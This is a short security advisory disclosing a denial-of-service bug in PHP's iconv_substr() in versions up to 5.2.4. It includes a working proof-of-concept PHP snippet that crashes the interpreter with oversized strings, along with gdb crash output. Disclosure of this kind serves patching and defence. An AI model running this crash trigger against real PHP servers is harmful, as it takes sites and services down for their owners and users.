Application: PHP <=5.2.4 Web Site: http://php.net Platform: unix Bug: denial of service function: iconv_substr() special condition: default php-memory-limit ------------------------------------------------------- 1) Introduction 2) Bug 3) Proof of concept 4) Greets 5) Credits =========== 1) Introduction =========== "PHP is a widely-used general-purpose scripting language that is especially suited for Web development and can be embedded into HTML." ====== 2) Bug ====== iconv_substr() is vulnerable to a denial of service ===== 3)Proof of concept ===== Proof of concept example : <? $a = str_repeat ("A",9989776);/*if a bigger value is supplied, php will get freezed for a while */ $b = str_repeat("/", 2798349);// segfault happens here iconv_substr($a,0,1,$b); ?> result: (gdb) run 2.php /*(2 mn later...)*/ Program received signal SIGSEGV, Segmentation fault. [Switching to Thread -1215904064 (LWP 11430)] 0xb796e1af in _dl_open () from /lib/tls/i686/cmov/libc.so.6 ======== 4)Greets ======== Ivanlef0u,Deimos,Benji,Berga,Soh,and everyones from worldnet: #futurezone & #nibbles ===== 5)Credits ===== Laurent gaffie contact : laurent.gaffie@xxxxxxxxx stay tuned, site comming soon ....
